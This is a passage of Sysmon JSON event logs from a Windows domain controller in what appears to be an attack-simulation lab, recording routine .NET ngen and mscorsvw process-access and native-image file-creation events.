4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:10.838\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-001000011100}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:10.838","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-001000011100}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:10.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-001000011100}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:10.838","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-001000011100}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:10.854\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-433A-5F2D-0000-001000011100}\r\nTargetProcessId: 4256\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:10.854","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-433A-5F2D-0000-001000011100}","TargetProcessId":"4256","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:14.463\r\nProcessGuid: {90617006-433A-5F2D-0000-001000011100}\r\nProcessId: 4256\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\10a0-0\\System.Xml.dll\r\nCreationUtcTime: 2020-08-07 12:04:14.463","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:14.463","ProcessGuid":"{90617006-433A-5F2D-0000-001000011100}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Temp\\10a0-0\\System.Xml.dll","CreationUtcTime":"2020-08-07 12:04:14.463","EventReceivedTime":"2020-08-07 12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:14.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4820\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-0010F3051100}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:14.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4820","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-0010F3051100}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+92bd7|C:\\Windows\\SYSTEM32\\ntdll.dll+c7734|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+abce(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+af4a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b1b4(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8f0a(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+8fe3(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+9082(wow64)","EventReceivedTime":"2020-08-07 12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:14.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-0010F3051100}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:14.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-0010F3051100}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8254,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:14.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-0010F3051100}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:14.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-0010F3051100}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:15","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:14","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8255,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:14.776\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-433E-5F2D-0000-001079091100}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:14.776","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-433E-5F2D-0000-001079091100}","TargetProcessId":"3396","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 